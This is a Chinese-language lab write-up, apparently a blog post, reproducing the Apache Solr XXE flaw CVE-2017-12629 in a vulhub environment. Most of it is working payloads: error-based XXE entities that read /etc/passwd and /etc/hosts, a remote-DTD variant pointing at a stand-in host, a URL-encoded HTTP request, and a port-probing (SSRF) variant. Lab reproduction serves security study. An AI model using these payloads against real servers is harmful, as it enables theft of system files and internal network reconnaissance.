Apache Solr XXE(CVE-2017-12629)--vulhub

Apache solr XML 实体注入漏洞(CVE-2017-12629)

XXEpayload

xml 复制代码
<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">

    <!ENTITY % expr 'aaa)>
        <!ENTITY &#x25; file SYSTEM "file:///etc/hosts">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
        <!ELEMENT aa (bb'>

    %local_dtd;
]>
<message>any text</message>

其他dtd文件

利用jar包中的dtd文件

xml-dtd 复制代码
<!ENTITY % local_dtd SYSTEM "jar:file:///opt/solr/server/solr-webapp/webapp/WEB-INF/lib/lucene-queryparser-7.0.1.jar!/org/apache/lucene/queryparser/xml/LuceneCoreQuery.dtd">

远程dtd文件

xml-dtd 复制代码
<!ENTITY % local_dtd SYSTEM "http://evil.host.name/include.dtd">

### include.dtd ### 
<!ENTITY % test "example">
<!ELEMENT pattern (%test;)>

单行payload

xml 复制代码
<?xml version="1.0" ?><!DOCTYPE message [    <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">    <!ENTITY % expr 'aaa)>        <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">        &#x25;eval;        &#x25;error;        <!ELEMENT aa (bb'>    %local_dtd;]><message>any text</message>

将payload进行url编码(xxe代码转为单行后的代码)

%3C%3Fxml%20version%3D%221.0%22%20%3F%3E%3C!DOCTYPE%20message%20%5B%20%20%20%20%3C!ENTITY%20%25%20local_dtd%20SYSTEM%20%22file%3A%2F%2F%2Fusr%2Fshare%2Fxml%2Ffontconfig%2Ffonts.dtd%22%3E%20%20%20%20%3C!ENTITY%20%25%20expr%20%27aaa)%3E%20%20%20%20%20%20%20%20%3C!ENTITY%20%26%23x25%3B%20file%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%20%20%20%20%20%20%20%20%3C!ENTITY%20%26%23x25%3B%20eval%20%22%3C!ENTITY%20%26%23x26%3B%23x25%3B%20error%20SYSTEM%20%26%23x27%3Bfile%3A%2F%2F%2Fnonexistent%2F%26%23x25%3Bfile%3B%26%23x27%3B%3E%22%3E%20%20%20%20%20%20%20%20%26%23x25%3Beval%3B%20%20%20%20%20%20%20%20%26%23x25%3Berror%3B%20%20%20%20%20%20%20%20%3C!ELEMENT%20aa%20(bb%27%3E%20%20%20%20%25local_dtd%3B%5D%3E%3Cmessage%3Eany%20text%3C%2Fmessage%3E

构造数据包发送

GET /solr/demo/select?wt=xml&defType=xmlparser&q=%3C%3Fxml%20version%3D%221.0%22%20%3F%3E%3C!DOCTYPE%20message%20%5B%20%20%20%20%3C!ENTITY%20%25%20local_dtd%20SYSTEM%20%22file%3A%2F%2F%2Fusr%2Fshare%2Fxml%2Ffontconfig%2Ffonts.dtd%22%3E%20%20%20%20%3C!ENTITY%20%25%20expr%20%27aaa)%3E%20%20%20%20%20%20%20%20%3C!ENTITY%20%26%23x25%3B%20file%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%20%20%20%20%20%20%20%20%3C!ENTITY%20%26%23x25%3B%20eval%20%22%3C!ENTITY%20%26%23x26%3B%23x25%3B%20error%20SYSTEM%20%26%23x27%3Bfile%3A%2F%2F%2Fnonexistent%2F%26%23x25%3Bfile%3B%26%23x27%3B%3E%22%3E%20%20%20%20%20%20%20%20%26%23x25%3Beval%3B%20%20%20%20%20%20%20%20%26%23x25%3Berror%3B%20%20%20%20%20%20%20%20%3C!ELEMENT%20aa%20(bb%27%3E%20%20%20%20%25local_dtd%3B%5D%3E%3Cmessage%3Eany%20text%3C%2Fmessage%3E HTTP/1.1
Host: 192.168.200.142:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

进行发包,响应包是400,结果回显到了响应包中

读取/etc/passwd

读取/etc/hosts文件

<?xml version="1.0" ?><!DOCTYPE message [    <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">    <!ENTITY % expr 'aaa)>        <!ENTITY &#x25; file SYSTEM "http://192.168.200.142:8983">        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">        &#x25;eval;        &#x25;error;        <!ELEMENT aa (bb'>    %local_dtd;]><message>any text</message>

返回包400,有命令回显

使用http探测端口开放情况

<?xml version="1.0" ?><!DOCTYPE message [    <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">    <!ENTITY % expr 'aaa)>        <!ENTITY &#x25; file SYSTEM "http://192.168.200.142:8983">        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">        &#x25;eval;        &#x25;error;        <!ELEMENT aa (bb'>    %local_dtd;]><message>any text</message>

这里探测8983端口,解析xml出错,说明端口是开放的

22端口则提示不合法的http

未开放端口则会提示,拒绝连接

相关推荐
Mitch3119 小时前
【漏洞复现】CVE-2014-3120 & CVE-2015-1427 Expression Injection
运维·web安全·elasticsearch·docker·apache
玖疯子10 小时前
介绍 Apache Spark 的基本概念和在大数据分析中的应用
apache
长风清留扬13 小时前
小程序开发实战项目:构建简易待办事项列表
javascript·css·微信小程序·小程序·apache
m0_7482517213 小时前
DataOps驱动数据集成创新:Apache DolphinScheduler & SeaTunnel on Amazon Web Services
前端·apache
hackeroink15 小时前
【网络安全零基础入门】PHP环境搭建、安装Apache、安装与配置MySQL(非常详细)零基础入门到精通,收藏这一篇就够(01)_php安装配置教程
web安全·php·apache
热爱编程的小曾1 天前
下载Stegsolve.jar后运行报错 ”Error: Unable to access jarfile stegslove. ”
apache
鸠摩智首席音效师1 天前
如何解决 Apache 中 “CORS no allow credentials” 错误 ?
apache
~央千澈~2 天前
如果你的网站是h5网站,如何将h5网站变成小程序-除开完整重做方法如何快速h5转小程序-h5网站转小程序的办法-优雅草央千澈
前端·apache
鸠摩智首席音效师2 天前
如何在 Apache 中创建单个文件的别名 ?
apache